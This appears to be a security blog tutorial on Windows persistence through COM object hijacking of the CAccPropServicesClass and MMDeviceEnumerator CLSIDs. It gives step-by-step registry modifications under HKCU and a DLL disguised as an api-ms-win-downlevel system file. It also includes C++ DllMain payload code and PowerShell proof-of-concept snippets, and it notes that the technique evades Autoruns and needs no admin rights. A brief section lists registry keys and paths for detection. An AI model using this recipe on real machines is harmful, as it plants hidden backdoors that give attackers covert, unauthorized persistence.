Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator

Onedaysec
4 min read
0 views
docx image 1770017282637 0 f411ef517b

0x00 Introduction

---

In the previous article "Use CLR to maintain persistence", a method to hijack all .Net programs via CLR was introduced, which does not require administrator privileges and can be used as a backdoor. The drawback is that adding environment variables via WMI requires a system restart.

This article will continue to introduce another method for backdoor exploitation. The principle is similar, but the advantage is that it does not require a system restart and also does not require administrator privileges.

Note:

The method introduced in this article was once used by the Trojan COMpfun

Detailed introduction address:

https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x01 Introduction

---

This article will cover the following:

  • Backdoor concept
  • POC development
  • Defense and detection

0x02 COM Components

---

  • COM stands for Component Object Model
  • COM components consist of executable code released in the form of DLLs and EXEs
  • COM is language and platform independent
  • COM components correspond to registry key values under CLSID in the registry

0x03 Backdoor Concept

---

Note:

The concept is derived from https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

Similar to the method of hijacking .Net programs using CLR, this also involves modifying registry key values under CLSID to hijack CAccPropServicesClass and MMDeviceEnumerator. Since many normal system programs need to call these two instances upon startup, this can be used as a backdoor. Additionally, this method can bypass Autoruns detection of startup items.

Exploitation method for 32-bit systems:

1. Create a new file

Place the test DLL in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ and rename it to api-ms-win-downlevel-[4char-random]-l1-1-0._dl

Note:

Test DLL download address: an open-source project

Rename to api-ms-win-downlevel-1x86-l1-1-0._dl

As shown in the figure below

Exploitation method for 32-bit systems: — technical illustration 1

2. Modify the registry

Registry location: HKCU\Software\Classes\CLSID\

Create key {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

Create subkey InprocServer32

Default key value is the absolute path of the test DLL:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

Create key value: ThreadingModel REG_SZ Apartment

Registry content as shown in the figure below

Exploitation method for 32-bit systems: — technical illustration 2

3. Test

Start iexplore.exe, trigger the backdoor, launch calc.exe multiple times, eventually causing system crash

Multiple calls to instance CAccPropServicesClass() during startup process result in launching multiple calc.exe instances, eventually causing system crash

4. Optimization

Add a mutex to the DLL to prevent repeated loading and ensure calc.exe is launched only once

C++ code:

#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{

HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}

Optimization method reference: https://some-open-source-project/Use-Office-to-maintain-persistence

Compiled size 3k. If the DLL is loaded multiple times, it will only load once due to mutex, meaning calc.exe will only launch once.

Download link for compiled DLL:

some-open-source-project

Switch to the new DLL and test again. calc.exe only launches once, as shown in the figure below.

Exploitation method for 32-bit systems: — technical illustration 3

64-bit system exploitation method:

1. Create new file

Place 32-bit and 64-bit test DLLs in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ respectively

32-bit DLL download link:

some-open-source-project

Rename to api-ms-win-downlevel-1x86-l1-1-0._dl

64-bit DLL download link:

An open-source project

Renamed to api-ms-win-downlevel-1x64-l1-1-0._dl

2. Modify the registry

(1)

Registry location: HKCU\Software\Classes\CLSID\

Create key {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

Create subkey InprocServer32

Default key value is the absolute path of the 64-bit dll:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl

Create key value: ThreadingModel REG_SZ Apartment

Registry content as shown in the figure below

64-bit system exploitation method: — technical illustration 4

(2)

Registry location: HKCU\Software\Classes\Wow6432Node\CLSID\

Create key {BCDE0395-E52F-467C-8E3D-C4579291692E}

Create subkey InprocServer32

Default key value is 32-bit dll path:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

Create key value: ThreadingModel REG_SZ Apartment

Registry content as shown in the figure below

64-bit system exploitation method: — technical illustration 5

3、Testing

Launch both 32-bit and 64-bit iexplore.exe, both can trigger the backdoor, starting calc.exe once

Test successful

Note:

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} corresponds to CAccPropServicesClass

Reference link:

https://msdn.microsoft.com/en-us/library/accessibility.caccpropservicesclass(v=vs.110).aspx?cs-save-lang=1&cs-lang=cpp#code-snippet-1

{BCDE0395-E52F-467C-8E3D-C4579291692E} corresponds to MMDeviceEnumerator

Reference link:

http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx

0x04 POC Writing

---

Details to note in POC development:

1. Operations do not necessarily include folders by default

First, check if the folder %APPDATA%\Microsoft\Installer\ exists

If not, create the folder Installer under %APPDATA%\Microsoft\

if((Test-Path %APPDATA%\Microsoft\Installer\) -eq 0)
{
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer\"
new-item -path $env:APPDATA\Microsoft\ -name Installer -type directory
}

2. Create the folder {BCDE0395-E52F-467C-8E3D-C4579291692E}

Since it contains special characters {}, the path must be enclosed in double quotes

if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}

3. Create payload file

First, determine the operating system

if ([Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] OS: x64"
}
else
{
Write-Host "[+] OS: x86"
}

Release different files for different systems

Files are still released using base64, refer to article: https://some-open-source-project/Use-Office-to-maintain-persistence

4. Create registry

Modify the default registry value, as shown below

0x04 POC Writing — technical illustration 6

In PowerShell, the special variable "(default)" needs to be used

eg:

$RegPath="HKCU:Software\Classes\CLSID\"
New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" "(default)" -value $env:APPDATA"\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null

Complete POC has been uploaded to GitHub, address: some-open-source-project

0x05 Defense Detection

---

Based on exploitation methods, monitor the following locations:

1. Registry key values

  • HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\
  • HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E }

2. File Path

%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\

Naming convention: api-ms-win-downlevel-[4char-random]-l1-1-0._dl

0x06 Summary

---

This article introduces a backdoor exploitation method achieved through COM Object hijacking, uses PowerShell scripts to write a POC, shares details to note during POC development, and analyzes defense methods against this backdoor based on practical exploitation processes.

Related Questions & Answers

How can defenders detect this COM hijacking persistence technique?

Defenders should monitor registry keys under HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} and the Wow6432Node variant. Additionally, watch for suspicious DLL files named api-ms-win-downlevel-*._dl in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\. These indicators can reveal unauthorized modifications that bypass standard Autoruns checks, as discussed in the original article's defense section.

What are the specific registry paths and file naming conventions used for this 64-bit system backdoor?

On 64-bit systems, two registry keys are needed: HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} for 64-bit processes, and HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} for 32-bit WOW64 processes. The DLLs are stored in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ and named api-ms-win-downlevel-1x64-l1-1-0._dl (64-bit) and api-ms-win-downlevel-1x86-l1-1-0._dl (32-bit). Full details are in the article [Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator](/news/use-com-object-hijacking-to-maintain-persistence-hijack-caccpropservicesclass-and-mmdeviceenumerator).

Why did the initial POC cause multiple calc.exe launches and system crash, and how was it fixed?

The DLL’s DllMain spawned calc.exe every time it was loaded, and because many processes invoke CAccPropServicesClass repeatedly, multiple instances of calc.exe launched, eventually crashing the system. The fix added a mutex (named "myself") using CreateMutex to ensure the payload runs only once per session. This optimization mirrors techniques used in other persistence methods like [using Logon Scripts](/news/use-logon-scripts-to-maintain-persistence).

How does COM object hijacking with CAccPropServicesClass provide persistence without admin privileges?

By modifying a registry key under HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}, an attacker redirects the COM object to a malicious DLL placed in a user-writable folder. Since many system programs (like Internet Explorer) load this COM object on startup, the DLL executes automatically without requiring admin rights or a reboot. This technique is similar to other COM hijacking methods such as [hijacking Outlook](/news/use-com-object-hijacking-to-maintain-persistence-hijack-outlook) or [hijacking explorer.exe](/news/use-com-object-hijacking-to-maintain-persistence-hijack-explorer-exe).

Continue Reading